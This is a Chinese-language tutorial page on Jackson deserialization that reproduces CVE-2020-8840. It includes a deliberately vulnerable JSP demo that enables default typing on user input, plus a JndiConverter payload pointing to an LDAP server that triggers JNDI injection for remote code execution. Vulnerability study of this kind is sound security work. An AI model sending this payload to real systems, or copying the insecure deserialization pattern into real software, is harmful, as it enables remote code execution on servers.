栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

Jackson反序列化

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

Jackson反序列化

jackson介绍

        Jackson是一个能够将java对象序列化为JSON字符串,也能够将JSON字符串反序列化为java对象的框架。是基于Java平台的一套数据处理工具,被称为”最好的Java Json解析器”。它可以使我们高效、简便的处理json字符串。

序列化

序列化函数为databind.ObjectMapper。

当Jackson开启某些配置时,会允许开发者在反序列化时指定要还原的类,过程中调用其构造方法setter方法或某些特殊的getter方法,当这些方法中存在一些危险操作时就造成了代码执行。

Jackson核心模块组成

jackson-core核心包用于提供基于"流模式"解析的相关API,它包括 JsonPaser和JsonGenerator。Jackson内部实现正是通过高性能的流模式 API的JsonGenerator和JsonParser来生成和解析json。

jackson-annotations,注解包,提供标准注解功能;

jackson-databind,数据绑定包,提供基于"对象绑定" 解析的相关 API(ObjectMapper)和"树模型" 解析的相关API(JsonNode);基于"对象绑定" 解析的API和"树模型"解析的API依赖基于"流模式"解析的API。

CVE-2020-8840

此次漏洞中攻击者可利用xbean-reflect的利用链触发JNDI远程类加载从而达到远程代码执行。

由于缺少某些xbean-reflect/JNDI黑名单类,如org.apache.xbean.propertyeditor.JndiConverter,可导致攻击者使用JNDI注入的方式实现远程代码执行

通过传进参数asText,触发setter,setAsText()函数,随后跟进toObject()函数,最终进到JndiConverter重写的toObjectImp()函数,此时出现经典的JNDI注入,text 刚好就是我们传进的asText,我们可控,从而达到命令执行目的

复现

环境搭建

CVE-2020-8840/lib at master · fairyming/CVE-2020-8840 · GitHub

安装好tomcat后导入相关库

写一个利用demo

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="java.io.*,java.util.*" %>
<%@ page import="com.fasterxml.jackson.databind.ObjectMapper" %>
<%
    String json = request.getParameter("json");
    String error = null;
    Boolean hasjson = false;

    if (json == null) {
        StringBuilder buffer = new StringBuilder();
        BufferedReader reader = request.getReader();
        String line;
        while ((line = reader.readLine()) != null) {
            buffer.append(line);
            buffer.append(System.lineSeparator());
        }
        json = buffer.toString();
    }

    if (json != null && !json.isEmpty()) {
        hasjson = true;
        try {
            ObjectMapper mapper = new ObjectMapper();
            mapper.enableDefaultTyping();
            mapper.readValue(json, Object.class);
        } catch (Exception e) {
            System.out.println(e);
            error = e.toString();
        }
    } else {
        json = "["org.apache.xbean.propertyeditor.JndiConverter", {"asText":"ldap://localhost:1389/Exploit"}]";
    }
%>



    
    Jackson test


    Jackson
    


<% if (hasjson) { %>
Executed Done

以下如果提示错误,实际可能攻击成功了,需要结合最终行为来判断.

<% if (error != null) { %>
<%=error %>
<% } } %>

利用方式

访问该页面,发送payload数据

payload

[
    "org.apache.xbean.propertyeditor.JndiConverter",
     {
        "asText":"ldap://localhost:1099/Exploit"
        }

]

具体利用方式参考另外一篇FastJson反序列化,所不同的是发送的payload为上面这个

参考链接

[1] https://my.oschina.net/u/4583000/blog/4428907

[2] https://blog.csdn.net/xuandao_ahfengren/article/details/111071573

[3]JavaSec Jackjson反序列漏洞复现 | thonsun's blog

[4](CVE-2020-8840)FasterXML jackson-databind 远程代码执行漏洞 - Web安全 - 知汇社区

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/284511.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号